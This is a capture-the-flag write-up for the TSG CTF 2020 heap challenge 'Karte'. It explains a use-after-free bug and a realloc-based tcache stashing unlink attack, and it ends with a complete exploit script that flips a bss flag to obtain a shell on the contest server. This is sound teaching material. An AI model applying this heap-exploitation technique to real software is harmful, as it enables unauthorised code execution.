TSG CTF 2020: Karte

pwn (341 points, 6 solves)

This was another minimalistic heap puzzle like those tasks usually called babyheap. You could perform allocations of different sizes. You could extend these allocations, free them or print them. The allocation however only stored its size and the ID.

struct allocation {
    size_t size;
    uint64_t id;
};

The rest of the memory was left uninitialized. On allocation you could choose a size less than 0x100 and the ID. This ID was then used to work with the chunk, like extending the allocation. Showing the allocation also only printed these two values. The binary also contained a hidden 5th option: This option would open a shell if the variable authorized was true. This variable however was statically false and not written during legitimate execution of the program.

The Bug

The allocations were stored in a pointer list in bss. The allocation was assumed valid if such pointer differed from NULL. The bug was that dealloc not resetting the pointer to NULL, thus allowing for a use-after-free or double-free vulnerabilities.

Exploitation

The authorized variable in bss looks like a target waiting to be exploited, so I explored my possibilities. The tcache stashing unlink attack looked like a promising candidate, but there is one big issue: This technique relies on calloc to trigger the exploit. Karte however uses realloc for everything, even freeing. The underlying heap mechanic exploited by this technique is that on allocation, the tcaches are filled from the sorted bins of the right size. One oddity about calloc is that it ignores chunks in tcaches to serve the allocation. On the other hand realloc does first serve chunks out of the tcaches. I explored realloc’s behaviour using a newly developed tool1. This tool lets you view and edit the heap in a hex editor, fork the process, and switch between these forks. After some time I came to the realization that I could trigger the stashing unlink behaviour with realloc as well by allocating something when the tcaches are empty. As this exploit leaves the sized bins in an invalid state, I had to make sure 7 allocations can be unlinked, not just two.

a realloc stashing unlink gif

There is one more glaring problem with this: While the libc address takes the place of the ID, and thereby is changeable, I need to know it in order to change it. I can reduce the problem to leaking a heap address, as I can print that very same address as size field from the other end of the sorted bin doubly linked list. So, how to leak a heap address? Well, tcaches are unusable for this as they store a pointer to the management in place of the ID. So I have to fall back to regular fast bins, as they use a singly-linked list with no additional nonsense.

for i in range(1,10):
    alloc(s, 0x68, i)
for i in range(3,10):
    extend(s, i, 0x88)
for i in range(1, 3):
    free(s, i)
heap = show(s, 2) - 0x290
print(f"[+] heap: {heap:#x}")

As the number of allocations is limited I extend the chunk instead of just freeing it. This also frees the chunk, but additionally allocates a new one of the requested size and I don’t lose the allocation. I allocate 7 more chunks to fill the tcaches and free all 14 chunks in an interleaved pattern.

for i in range(10, 17):
    alloc(s, 0x88, i)
for i in range(4, 17, 2):
    free(s, i)
for i in range(3, 17, 2):
    free(s, i)

Then I drain the tcaches again:

for i in range(18, 25):
    alloc(s, 0x88, i)

To move the chunks form the unsorted bin into the sized bin, I allocate a larger chunk, and also use the heap leak to leak the libc.

alloc(s, 0x90, 26)
libc = show(s, heap + 0x7a0)
print(f"[+] libc: {libc:#x}")

Last, I set some ID to point 0x10 bytes in front of authorized and trigger the stashing unlink with a final allocation.

alloc(s, 0x68, authorized - 0x10)
change_id(s, libc, heap + 0x610)
alloc(s, 0x88, 1337)

All that is left to do is to use option 5, enjoy your shell and cat the flag: TSGCTF{Realloc_is_all_you_need~}

1 Full disclosure: I did not write the tool myself, but I supervised its creation.

Complete exploit for good measure:

# https://github.com/leetonidas/pwn/
from pwnutils import *
from telnetlib import Telnet

# flag: TSGCTF{Realloc_is_all_you_need~}

authorized = 0x404180

def alloc(sock, size, cid):
    sock.send(f"0\n{cid}\n{size}\n".encode())

def show(sock, cid):
    sock.send(f"3\n{cid}\n".encode())
    recv_until(sock, b"size: ")
    return int(recv_until(sock, b"\n")[:-1].decode(), 16)

def free(sock, cid):
    sock.send(f"4\n{cid}\n".encode())

def change_id(sock, cid, ncid):
    sock.send(f"2\n{cid}\n{ncid}\n".encode())

def extend(sock, cid, size):
    sock.send(f"1\n{cid}\n{size}\n".encode())

tar = ("35.221.81.216", 30005)
with socket.socket() as s:
    s.connect(tar)
    recv_until(s, b"> ")
    s.send(b"iead\n")
    # 9 to leak heap
    for i in range(1,10):
        alloc(s, 0x68, i)
    for i in range(3,10):
        extend(s, i, 0x88)
    for i in range(1, 3):
        free(s, i)
    heap = show(s, 2) - 0x290
    print(f"[+] heap: {heap:#x}")

    # 14 to prepare ov
    for i in range(10, 17):
        alloc(s, 0x88, i)
    for i in range(4, 17, 2):
        free(s, i)
    for i in range(3, 17, 2):
        free(s, i)

    # 7 to empty tcache
    for i in range(18, 25):
        alloc(s, 0x88, i)

    alloc(s, 0x90, 26)
    libc = show(s, heap + 0x7a0)
    print(f"[+] libc: {libc:#x}")

    alloc(s, 0x68, authorized - 0x10)
    change_id(s, libc, heap + 0x610)
    alloc(s, 0x88, 1337)
    t = Telnet()
    t.sock = s
    t.interact()